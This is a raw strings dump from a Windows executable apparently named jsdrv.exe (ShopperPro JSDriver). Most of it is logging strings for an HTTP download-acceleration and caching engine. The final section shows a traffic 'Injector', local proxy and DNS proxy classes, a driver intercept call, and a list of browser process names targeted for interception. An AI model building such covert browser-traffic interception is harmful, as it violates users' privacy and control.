[CacheManager::IsWritingComplete] FDM=%d *** Writing Completed *** (%lld >= %lld)

[CacheManager::StopCacheData] FDM=%d - CacheData has incomplete HTTP header - going to destroy it...

[CacheManager::StopCacheData] FDM=%d

[CacheManager::Stop] FDM=%d

[CacheManager::FindWorkerByRange] FDM=%d - Cache Worker Found!

[CacheManager::FindWorkerByRange] FDM=%d ... Cache Worker range: %lld-%lld

[CacheManager::FindWorkerByRange] FDM=%d ___Error pJobInfo invalid

[CacheManager::FindWorkerByRange] FDM=%d ___Error pICacheWorker invalid

[CacheManager::FindWorkerByRange] FDM=%d ___Error Cache Workers list is empty

[CacheManager::FindWorkerByRange] FDM=%d - Find Chache Worker of range: %lld-%lld

[CacheManager::WriteAvailableBuffer] FDM=%d *** Reached end of Workers list ***

[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p - Not finished yet. (status:%d)

[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p ___Warning Failed to write from cache. (status:%d)

[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p - WORKER_STATUS_ERROR

[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p - *** Set Active ***

[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p - *** Cache Worker Finished ***

[CacheManager::WriteAvailableBuffer] FDM=%d *** Cache Manager Finished ***

[CacheManager::WriteAvailableBuffer] FDM=%d *** Workers list is empty ***

[CacheManager::WriteAvailableBuffer] FDM=%d - Not Working ! (State: %d)

[CacheManager::WriteAvailableBuffer] FDM=%d - State: %d

[CacheManager::RemoveAllWorkers] FDM=%d

[~CacheManager - %p] FDM=%d

[CacheManager::Reset] FDM=%d

[CacheManager::CreateWorker] FDM=%d - Already has an Active CacheWorker: %p

[CacheManager::CreateWorker] FDM=%d - Set Active CacheWorker: %p

[CacheManager::CreateWorker] FDM=%d - Created CacheWorker: %p, Active is: %p

[JobsManager::MergeFailedJobs] Job:%d  = Job:%d

[JobsManager::CreateJob] Job:%d, %lld-%lld

[JobsManager::CreateJob] ___Warning Job:%d, %lld-%lld, already exist

[JobsManager::CreateTimeJob] Job:%d, %lld-0

[JobsManager::DestroyJob] Job:%d

[AccelerationLogicHD::GetInitialRanges] FDM=%d *** Range Size: %lld (%d)

[AccelerationLogicHD::GetInitialRanges] FDM=%d *** Time Range Size: %lld (%d)

[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Error - Unknown algorithm

[AccelerationLogicHD::GetInitialRanges] FDM=%d - Update InitialRangeSize: %lld (bytes)

[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Warning - Master downloaded more then its range (%lld > %lld). Reducing number of connection to %d

[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Error Time Acceleration: LastTimeEndPosition   InitialTimeRangeSize > StartTimePosition   TotalPlayDuration (%lld   %lld > %lld   %lld)

[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Error LastEndPosition >= StartPosition   DownloadSize - 1 (%lld >= %lld)

[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Error RangeIndex > NumberOfConnections (%d > %d)

[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Warning AccelerationLogic == AL_NO_ACCELERATION

[AccelerationLogicHD::SetTimeStartPosition] FDM=%d - Start Time Position: %lld (%lld)

[AccelerationLogicHD::SetLastTimeEndPosition] FDM=%d - Last Time End Position: %lld (%lld)

[AccelerationLogicHD::IsToUseOriginalRequest] Res = %s.

[AccelerationLogicHD::IsPartner] Partner = %d

[AccelerationLogicHD::CalculateRangeSizeLimit] ___Warning SizeLimit %d RangeSize cut from %d to %d

[AccelerationLogicHD::CalculateRangeSizeLimit] FDM=%d - Size limit: %lld

[AccelerationLogicHD::UpdateToRegistryValues] BufferingTime: %d

[AccelerationLogicHD::UpdateToRegistryValues] DelayTime: %d

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - n64MinimumRangeSize: %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - NextRangeSize was reduced to the maximum range size: %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - LastMaxRangeSize was increased to: %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - MaxRangeSizePerConnection: %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - Did not finish downloading the pre-buffering: %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d ___Warning *** Potential Buffering Predicted *** - Player has less then 2 seonds play time: %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d ___Warning *** Potential Buffering Predicted *** - Played all written bytes: %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d ___Warning *** Potential Buffering Predicted *** - Played all ranges

[AccelerationLogicHD::CalculateNextRangeSize] WorkerBps: %d

[AccelerationLogicHD::CalculateNextRangeSize] PlayRate: %d

[AccelerationLogicHD::CalculateNextRangeSize] 3G: %d

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - NextRangeTimeSize was set to the maximum range time size %.1f

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - LastMaxRangeTimeSize was increased to %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - n64MaxRangeTimeSizePerConnection %lld

[AccelerationLogicHD::GetMinTimeRangeSize] %d (sec)

[AccelerationLogicHD::GetInitialTimeRangeSize] %d (sec)

[AccelerationLogicHD::GetInitialRangeSize] %d (bytes)

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Potential Buffering Predicted *** - In about: %.1f seconds

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Potential Buffering Predicted *** - Player has less then 2 seconds play time: %lld bytes

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Potential Buffering Predicted *** - Played all written bytes: %lld

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Potential Buffering Predicted *** - PlayerPosition >= DownloadPosition (%lld >= %lld)

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Download Potential Buffering Predicted *** - TimeLeftToDownload: %.1f

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d - Wait for at least 10 seconds... (%lld)

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d - Wait for at least 5 seconds... (%lld)

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d - Wait until finish downloading the player initial cache...

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning invalid m_pRedirectDomainRule

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning Active job has completed

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning Time acceleration is not supported yet...

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Error invalid pJobInfo

[AccelerationLogicHD::GetNextRange] FDM=%d *** Next Range Size: %lld (%d), 3G: %d

[AccelerationLogicHD::GetNextRange] FDM=%d *** Next Time Range Size: %lld (%d), 3G: %d

[AccelerationLogicHD::GetNextRange] FDM=%d ___Error - Unknown algorithm

[AccelerationLogicHD::GetNextRange] FDM=%d ___Error LastTimeEndPosition   InitialTimeRangeSize (%lld   %lld) > StartTimePosition   TotalPlayDuration (%lld   %lld)

[AccelerationLogicHD::GetNextRange] FDM=%d ___Error LastEndPosition (%lld) >= StartPosition   DownloadSize - 1 (%lld   %lld)

[AccelerationLogicHD::AccelerateIsSupported] FDM=%d ___Warning - No rule for this domain

AccelerationLogicHD::AccelerateIsSupported

[AccelerationLogicHD::GetRedirectRuleName] FDM=%d - %s

[AccelerationLogicHD::IsToAccelerate] FDM=%d - Enable Acceleration - DownloadRate: %d, PlayTime: %d (Delay: %d)

[AccelerationLogicHD::IsToAccelerate] FDM=%d - Last End Position: %lld --> %lld (%lld)

[AccelerationLogicHD::IsToAccelerate] FDM=%d ___Warning - Range Acceleration not needed - All file was downloaded... (%lld >= %lld)

[AccelerationLogicHD::IsToAccelerate] FDM=%d - Last Time End Position: %lld --> %lld (%lld)

[AccelerationLogicHD::IsToAccelerate] FDM=%d ___Warning - Time Acceleration not needed - All file was downloaded... (%lld >= %lld)

[AccelerationLogicHD::IsToAccelerate] FDM=%d ___Warning - Network too slow for acceleration - wait for pre-buffer to complete... (%d < 7KBps)

[AccelerationLogicHD::FileShouldBeAccelerated] ___Warning - aktimeoffset not supported

[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - Trail expired

[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - No rule pointer for this domain

[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - No rule for this domain

[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - Server is known to not support ranges

[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - not a GET command

[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - Number of connection is set to one

[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - Initial & Max TimeRangeSize: %lld (ms)

[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - Initial & Max RangeSize: %lld (bytes)

[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - MaxNumberOfConnections: %d

[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - iTunes

[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - QuickTimeWinInet

[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d ___Error - invalid m_pRedirectDomainRule

[AccelerationLogicHD::IsPartner] ___Error - get module filename: %d

[AccelerationLogicHD::Reset] FDM=%d

[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Default Uri Offset Token: %s

[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Default Time Token: %s

[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Uri Range Token: %s

[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Uri Offset Token: %s

[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Time Token: %s

[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Rule Location: %d

[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d ___Error - invalid m_pRedirectDomainRule

[CConnectionsManager::OnStartAcceleration] Max: %d, Init: %d, AvgBps: %d

[CConnectionsManager::ResetStartAcceleration] AvgBps: %d

[CConnectionsManager::GetNumberOfConnections] Decreased to: %d, AvgBps: %d (%d)

[CConnectionsManager::GetNumberOfConnections] Increased to: %d, AvgBps: %d (%d)

[CConnectionsManagerSocket] socket %d

[CConnectionsManagerSocket::OnReadEvent] socket %d

[CConnectionsManagerSocket::OnWriteEvent] socket %d

[CConnectionsManagerSocket::OnCloseEvent] socket %d

[CConnectionsManagerSocket::OnAcceptEvent] socket %d

[CConnectionsManagerSocket::OnConnectEvent] socket %d

[~CConnectionsManagerSocket] socket %d

[CConnectionsManager::OnReadEvent] socket %d

[CConnectionsManager::OnWriteEvent] socket %d

[CConnectionsManager::OnConnectEvent] socket %d - Connect Time: %d ms

[CConnectionsManager::PrepareAccelerationConnections] Max: %d, Remote: %s:%d

[CConnectionsManager::AddConnection] socket %d - Remote: %s:%d

[CConnectionsManager::AddConnection] ___Warning socket %d - not connected

[CConnectionsManager::Work] Remote: %s:%d - Done.

[CConnectionsManager::Work] ___Error Connect socket %d

[CConnectionsManager::Work] ___Error AsyncSocket Initialize. LE: %x

[CConnectionsManager::Work] Add socket %d - Remote: %s:%d

[CConnectionsManager::Work] Remote: %s:%d

[CConnectionsManager::Cleanup] %d sockets left in map

[CConnectionsManager::Cleanup] Cleaning %d sockets from map

[CConnectionsManager::RemoveConnection] socket %d

[CConnectionsManager::GetConnection] *** Found socket %d - %s:%d (3G: %d)***

[CConnectionsManager::GetConnection] socket %d - Not matching - %s:%d

[CConnectionsManager::GetConnection] ___Warning socket %d - not ready for Writing or not Connected to %s:%d

[CConnectionsManager::GetConnection] ___Warning socket %d - not connected to %s:%d

[CConnectionsManager::GetConnection] ___Warning socket %d - GetPeerName

[CConnectionsManager::GetConnection] ___Warning socket %d - GetInternalFlag(SOCKET_IS_CELLULAR) - %d

[CConnectionsManager::GetConnection] Remote: %s:%d, 3G: %d

[CConnectionsManager::OnCloseEvent] socket %d

lighttpd/1.4.8

[AccelerationLogic::SetPlayDuration] FDM=%d - Play Duration: %lld

[AccelerationLogic::SetDownloadSize] FDM=%d - Download size: %lld (%lld)

[AccelerationLogic::SetTotalFileSize] FDM=%d - Total File size: %lld

[AccelerationLogic::SetStartPosition] FDM=%d - Start Position: %lld (%lld)

[AccelerationLogic::SetLastEndPosition] FDM=%d - Last End Position: %lld (%lld)

[AccelerationLogic::SetNumberOfConnections] FDM=%d - Max Connections: %d

[AccelerationLogic::SetInitialNumberOfConnections] FDM=%d - Initial Connections: %d

[AccelerationLogic::SetMaximumRangeSize] FDM=%d - Max Range Size: %lld

[AccelerationLogic::SetMaximumBpsToWriteIntoSocket] FDM=%d - Max BPS: %d

[AccelerationLogic::SetRequestRangeLocation] Request Range Location: %d

[AccelerationLogic::UpdateBytesWritten] FDM=%d, Job:%d (3G: %d) - BytesWritten: %lld, TotalBytesWritten: %lld (%lld   %lld)

[AccelerationLogic::ReportOnStartPlay] FDM=%d, Job:%d (3G: %d)

[AccelerationLogic::ReportOnDownloadComplete] FDM=%d (3G: %d)

[AccelerationLogic::IsResponseRangeBiggerThenMaster] FDM=%d ___Warning - Range >= Master (%lld >= %lld)

[AccelerationLogic::IsToIncreaseWorkers] FDM=%d - Increased connections to: %d (%d)

[AccelerationLogic::SetPlayRate] FDM=%d - Play Rate: %d

[AccelerationLogic::UpdateBytesDownloaded] FDM=%d, Job:%d (3G: %d) - BytesDownloaded: %lld, TotalBytesDownloaded: %lld (%lld   %lld)

[AccelerationLogic::CalculateNextRangeSize] PlayTimeLeft %d

[AccelerationLogic::CalculateNextRangeSize] WorkerBps %d

[AccelerationLogic::CalculateNextRangeSize] nPlayTime %d

[AccelerationLogic::CalculateAverageWorkerBPS] FDM=%d - Total Average BPS: %d, Worker Average BPS: %d (%d/%d)

[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d - Rule Domain Name: %s

[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d ___Warning - Using generic rule

AppleWebKit

[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d ___Warning - No Rule for Domain: %s

[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d - Look for rule using - Host: %s, ContentType: %s

[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d ___Error getting IAccelerationConfiguration

[AccelerationLogic::IsResponseRangeMatchRequestRange] FDM=%d *** Acceleration is not supported by the server ***. The field %s is not %s

[AccelerationLogic::IsResponseRangeMatchRequestRange] FDM=%d *** Acceleration is not supported by the server ***. The field %s was not found.

[AccelerationLogic::IsResponseRangeMatchRequestRange] FDM=%d ___Error GetRequestRangeLocation failed.

AccelerationLogic::AccelerateIsSupported

[AccelerationLogic::ReportOnRequestFinished] FDM=%d, Job:%d (3G: %d)

[AccelerationLogic::UpdateFileContentType] FDM=%d - ContentType: %s

[AccelerationLogic::UpdateRequestURI] FDM=%d - URI: %s

[AccelerationLogic::UpdateFileHost] FDM=%d - Host: %s

[AccelerationLogic::UpdateFileContentDisposition] FDM=%d - Content-Disposition: %s

[AccelerationLogic::UpdateUserAgent] FDM=%d - User-Agent: %s, Download: %d

NonSupportRangeServersList

[AccelerationLogic::IsResponseCodeValid] *** Acceleration is not supported by the server ***. The response code %s is not %s

[AccelerationLogic::CreateAnyRule] FDM=%d

[AccelerationLogic::FileShouldBeAccelerated] DailyMotion seek not supported

[AccelerationLogic::IsOurConnection] FDM=%d *** Acceleration is not allowed ***. Module: %s

[AccelerationLogic::Reset] FDM=%d

[~AccelerationLogic - %p] FDM=%d - ... Leave

[~AccelerationLogic - %p] FDM=%d - Enter ...

[AccelerationLogic::UpdateAverageBPS] FDM=%d, Job:%d (3G: %d) - %d

[CHttpCacheData::FreeBuffers] CD:%d, FDM=%d - Releasing %lld bytes

[CHttpCacheData::SetCacheLimit] CD:%d, FDM=%d - %lld --> %lld

[CHttpCacheData::Write - ICacheWriter] CD:%d, FDM=%d - Written: %d (%lld) bytes

[CHttpCacheData::SetOwnerCacheManager] CD:%d, FDM=%d - Cache is orphan & has incomplete http header

[CHttpCacheData::SetOwnerCacheManager] CD:%d, FDM=%d

[CHttpCacheData::GetRanges] CD:%d, FDM=%d - Ranges: %lld-%lld

[CHttpCacheData::SetActive] CD:%d, FDM=%d, Active: %d -> %d

[CHttpCacheData::SetComplete] CD:%d, FDM=%d, Complete: %d -> %d

[CHttpCacheData::IsMatch] CD:%d, FDM=%d - No Match! %lld-%lld (%lld-%lld), DataBytesInCache: %lld/%lld

[CHttpCacheData::IsMatch] CD:%d, FDM=%d - *** Match *** %lld-%lld (%lld-%lld), DataBytesInCache: %lld/%lld, HeaderBytesInCache: %d

[CHttpCacheData::IsMatch] CD:%d, FDM=%d - *** Match - Ignore ranges (Code: %d) *** %lld-%lld (%lld-%lld), DataBytesInCache: %lld/%lld, HeaderBytesInCache: %d

[CHttpCacheData::IsMatch] CD:%d, FDM=%d - Cookie No Match! (Code: %d) %lld-%lld (%lld-%lld), DataBytesInCache: %lld/%lld

[CHttpCacheData::Write] CD:%d, FDM=%d - Finish writing %d bytes

[CHttpCacheData::Write] CD:%d, FDM=%d - Appended %d (%lld/%lld) bytes

[CHttpCacheData::Write] CD:%d, FDM=%d - Writen %d bytes

[CHttpCacheData::Write] CD:%d, FDM=%d - Going to write new %d bytes - to CacheWorker: %p

[CHttpCacheData::Write] CD:%d, FDM=%d - Going to write cached %d bytes, from offset %lld - to CacheWorker: %p

[CHttpCacheData::Write] CD:%d, FDM=%d - GetTotalBytesWritten: %lld, BytesInBuffer: %lld, RANGE_START_POSITION: %lld, nDataBytesWritten: %lld

[CHttpCacheData::Write] CD:%d, FDM=%d - Appended %d bytes

[CHttpCacheData::Write] CD:%d, FDM=%d - Cache size: %d

[CHttpCacheData::Write] CD:%d, FDM=%d - Going to write %d bytes

[CHttpCacheData::AddCacheWorker] CD:%d, FDM=%d

[CHttpCacheData] CD:%d, Url: %s

[~CHttpCacheData] CD:%d

[CHttpCacheData::RemoveCacheWorker] CD:%d, FDM=%d - Try to stop the owner caching FDM...

[CHttpCacheData::RemoveCacheWorker] CD:%d, FDM=%d

[CHttpCacheData::DumpBufferToLogFile] CD:%d, FDM=%d

[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Written %d bytes (DATA)

[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Going to write %d bytes, from offset %lld (DATA)

[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Written %d bytes (HEADER)

[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Going to write %d bytes (HEADER)

[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Range: %lld-%lld

[CacheWorker::SetSize - %p] Cache size: %d

[CacheWorker::SetStatus - %p] WORKER_STATUS_FINISHED (%d) - job:%d

[CacheWorker::SetEncryptionKey - %p] Key: %p

[CacheWorker::AppendToCache - %p] Appending: %d bytes, Total Appended: %d

[CacheWorker::AppendToCache - %p] Bytes in buffer: %d

[CacheWorker::WriteToCacheWriter - %p] BytesWritten: %d, TotalBytesWritten: %lld, HeaderBytesDownloaded: %lld, DataBytesDownloaded: %lld

[CacheWorker::WriteToCacheWriter - %p] CacheData - Written %d bytes

[CacheWorker::WriteToCacheWriter - %p] CacheData - Going to write %d bytes

[CacheWorker::Write - %p] *** Finished to download & write job:%d ***

[CacheWorker::Write - %p] Appending: %d bytes, Total Appended: %d

[CacheWorker::Write - %p] After writing %d bytes from job %d (Range: %lld - %lld) to peer %p.

[CacheWorker::Write - %p] Before writing %d bytes from job %d (Range: %lld - %lld) to peer %p.

[CacheWorker::Write - %p] ___Warning already finished job:%d

[CacheWorker::Write - %p] Bytes in buffer: %d

[CacheWorker::WriteBufferFromCache - %p] *** Finished to download & write job:%d ***

[CacheWorker::WriteBufferFromCache - %p] ___Error job %d (Range: %lld - %lld) failed to download for a lot of time.

[CacheWorker::WriteBufferFromCache - %p] After writing %d bytes from job %d (Range: %lld - %lld) to peer %p.

[CacheWorker::WriteBufferFromCache - %p] Going to write %d bytes from job %d (Range: %lld - %lld) to peer %p.

[CacheWorker::WriteBufferFromCache - %p] *** Worker Idle - Finished job:%d ***

[CacheWorker::WriteBufferFromCache - %p] ___Error job %d (Range: %lld - %lld) - Worker Idle - failed to download for a lot of time.

f:\dd\vctools\crt_bld\self_x86\crt\src\locale0.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\xmutex.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\locale.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\xlocale

f:\dd\vctools\crt_bld\self_x86\crt\src\xlocnum

f:\dd\vctools\crt_bld\self_x86\crt\src\_tolower.c

f:\dd\vctools\crt_bld\self_x86\crt\src\xmbtowc.c

f:\dd\vctools\crt_bld\self_x86\crt\src\wlocale.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\xloctime

f:\dd\vctools\crt_bld\self_x86\crt\src\locale

f:\dd\vctools\crt_bld\self_x86\crt\src\xlocmes

f:\dd\vctools\crt_bld\self_x86\crt\src\xlocmon

%d / %m / %y

%I : %M : %S %p

%m / %d / %y

%b %d %H : %M : %S %Y

f:\dd\vctools\crt_bld\self_x86\crt\src\xlocale.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\xwcsxfrm.c

f:\dd\vctools\crt_bld\self_x86\crt\src\onexit.c

Client hook allocation failure at file %hs line %d.

Memory allocated at %hs(%d).

Client hook re-allocation failure at file %hs line %d.

HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.

CRT detected that the application wrote to memory after end of heap buffer.

HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.

CRT detected that the application wrote to memory before start of heap buffer.

CRT detected that the application wrote to a heap buffer that was freed.

crt block at 0x%p, subtype %x, %Iu bytes long.

client block at 0x%p, subtype %x, %Iu bytes long.

%hs(%d) :

#File Error#(%d) :

Data: <%s> %s

f:\dd\vctools\crt_bld\self_x86\crt\src\initctyp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strerror.c

Visual C   CRT: Not enough memory to complete call to strerror.

f:\dd\vctools\crt_bld\self_x86\crt\src\setlocal.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strftime.c

f:\dd\vctools\crt_bld\self_x86\crt\src\inithelp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mlock.c

f:\dd\vctools\crt_bld\self_x86\crt\src\output.c

_CrtDbgReport: String too long or IO Error

Debug %s!

Program: %s%s%s%s%s%s%s%s%s%s%s%s

f:\dd\vctools\crt_bld\self_x86\crt\src\mbctype.c

f:\dd\vctools\crt_bld\self_x86\crt\src\tidtable.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_file.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_sftbuf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\stream.c

f:\dd\vctools\crt_bld\self_x86\crt\src\read.c

%s(%d) : %s

_CrtDbgReport: String too long or Invalid characters in String

GetProcessWindowStation

f:\dd\vctools\crt_bld\self_x86\crt\src\stdenvp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\stdargv.c

f:\dd\vctools\crt_bld\self_x86\crt\src\a_env.c

f:\dd\vctools\crt_bld\self_x86\crt\src\ioinit.c

f:\dd\vctools\crt_bld\self_x86\crt\src\gmtime.c

f:\dd\vctools\crt_bld\self_x86\crt\src\tzset.c

f:\dd\vctools\crt_bld\self_x86\crt\src\input.c

f:\dd\vctools\crt_bld\self_x86\crt\src\drive.c

Broken pipe

Inappropriate I/O control operation

Operation not permitted

f:\dd\vctools\crt_bld\self_x86\crt\src\inittime.c

f:\dd\vctools\crt_bld\self_x86\crt\src\initnum.c

f:\dd\vctools\crt_bld\self_x86\crt\src\initmon.c

portuguese-brazilian

operator

f:\dd\vctools\crt_bld\self_x86\crt\src\_getbuf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\osfinfo.c

f:\dd\vctools\crt_bld\self_x86\crt\src\wtombenv.c

f:\dd\vctools\crt_bld\self_x86\crt\src\setenv.c

Software\Microsoft\Windows\CurrentVersion\Internet Settings

Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Content-Type: multipart/form-data; boundary=%s

ICACLS.EXE

SOFTWARE\%s

Global\%s_CONFIG_XML

HKEY_DYN_DATA

HKEY_CURRENT_CONFIG

HKEY_PERFORMANCE_DATA

HKEY_USERS

HKEY_LOCAL_MACHINE

HKEY_CURRENT_USER

HKEY_CLASSES_ROOT

Injector dump %s: %s

inj_rem remain %d

inj_loc remain %d

%s PutChunk send %d bytes to server

%s PutChunk send %d bytes to client

%s close pRemoteInj

%s close pLocalInj

New EmuSession flow %lld, now %d

Injector: Flow %lld, create session %X

Injector: Flow %lld, FDM=%d (%d)

%s ConnectedToVA, pLocalInj %p, pLocalVA %p

Delete EmuSession flow %lld, remain %d, chunks %d

%s delete Session %X

%s HandleChunk FWPS_STREAM_FLAG_SEND len %d

%s HandleChunk FWPS_STREAM_FLAG_RECEIVE len %d

%s HandleChunk FWPS_STREAM_FLAG_RECEIVE_DISCONNECT

%s HandleChunk FWPS_STREAM_FLAG_SEND_DISCONNECT

%s HandleChunk FWPS_STREAM_FLAG_ABORT

Injector: FDM=%d (%d)

%s ConnectToInj, Session not found pLocalVA %X

%s ConnectToInj

Cleanup %s

allports

iexplore.exe firefox.exe chrome.exe opera.exe webkit2webprocess.exe navigator.exe torch.exe u.exe epic.exe browser.exe maxthon.exe sbrender.exe vantvw.exe dragon.exe

[Stproxy]: open driver HANDLE %p, err %d

jsdriver: error parsing Config.json

parsing Config.json

IOCTL_ENABLE_INTERCEPT res %d

SetThreadPriority %d

error %d

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xlocale

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xiosbase

0123456789.eE-

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xutility

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\streambuf

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xlocnum

C:\BUILDS\Build_JS\1.38.0.0\JsDriver\Release\jsdrv.pdb

WSAJoinLeaf

WS2_32.dll

VERSION.dll

USERENV.dll

HttpQueryInfoA

InternetOpenUrlA

InternetCrackUrlA

HttpSendRequestA

HttpAddRequestHeadersA

HttpOpenRequestA

WININET.dll

GetProcessHeap

GetCPInfo

PeekNamedPipe

KERNEL32.dll

MsgWaitForMultipleObjectsEx

CloseWindowStation

SetProcessWindowStation

OpenWindowStationA

USER32.dll

RegNotifyChangeKeyValue

RegOpenKeyExA

RegCloseKey

RegCreateKeyExA

RegDeleteKeyA

RegOpenKeyA

RegEnumKeyA

RegEnumKeyExA

RegQueryInfoKeyA

ADVAPI32.dll

ShellExecuteA

SHELL32.dll

HttpEndRequestA

HttpSendRequestExA

.?AVIPipeEventsThread@@

.?AVCPipeEventThread@@

.?AVSaveWatchUrl@@

.?AVIHttpEngineConfiguration@@

.?AV?$CBaseInterface@VHttpEngineConfiguration@@VIHttpEngineConfiguration@@@@

.?AVHttpEngineConfiguration@@

.?AV?$CAsyncServer@VCDnsProxyServer@@VCAsyncUdpSocket@@@@

.?AVCEventsList@?$CAsyncServer@VCDnsProxyServer@@VCAsyncUdpSocket@@@@

.?AV?$CAsyncUdpSocketServer@VCDnsProxyServer@@VCAsyncUdpSocket@@@@

HTTP://

.?AV?$IMultiBaseInterface@VIPipeEventThreadManagerFactory@@@@

.?AVIPipeEventThreadManagerFactory@@

.?AV?$CMultiBaseInterface@VCPipeEventThreadManagerFactory@@VIPipeEventThreadManagerFactory@@@@

.?AVCPipeEventThreadManagerFactory@@

.?AVCAsyncUdpSocket@@

.?AVCExecuteUpdate@@

..\Common\Base64.cpp

..\Common\Base64MultiBytes.cpp

<>"#%{}|\^~[]`' ?&

<>"#{}|\^~[]`' ?&

.?AVCHttpAsync@@

.?AVIHttpProxyWorker@@

.?AV?$IBaseInterface@VIInjHttpProxyServer@@@@

.?AVIInjHttpProxyServer@@

.?AV?$CBaseInterface@VInjHttpProxyServer@@VIInjHttpProxyServer@@@@

.?AV?$IBaseInterface@VIHttpProxyServer@@@@

.?AVIHttpProxyServer@@

.?AVInjHttpProxyServer@@

.?AVHttpProxyServer@@

.?AV?$CBaseInterface@VHttpProxyServer@@VIHttpProxyServer@@@@

.?AVIHttpStreamSink@@

.?AVIHttpFileDownloadMgr@@

.?AVInjHttpProxyLocal@@

.?AVHttpProxyLocal@@

.?AVHttpProxyWorker@@

.?AVInjHttpProxyRemote@@

.?AVHttpProxyRemote@@

.?AVHttpParser@@

VA_SUBJECT_FMD_%d_WORKER_CREATED

VA_SUBJECT_FMD_%d_RANGE_CREATED

VA_SUBJECT_FMD_%d

VA_SUBJECT_FMD_%d_WORKER_%d

.?AVHttpCookie@@

.?AVHttpCookieJar@@

.?AV?$IBaseInterface@VIHttpCacheManager@@@@

.?AVIHttpCacheManager@@

.?AV?$CBaseInterface@VCHttpCacheManager@@VIHttpCacheManager@@@@

.?AVCHttpCacheManager@@

.?AVCProxyServerPassThrough@@

.?AVCHttpCacheData@@

zcÁ

.?AVCHttp@@

2.6.8418.1498

%Program Files% (x86)\ShopperPro\JSDriver\1498.0.0.0\jsdrv.exe

<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>

8&8,8/949{9

0F0X0

>%?/?^?}?

2(2-222x2}2

>5>:>?> ?%?

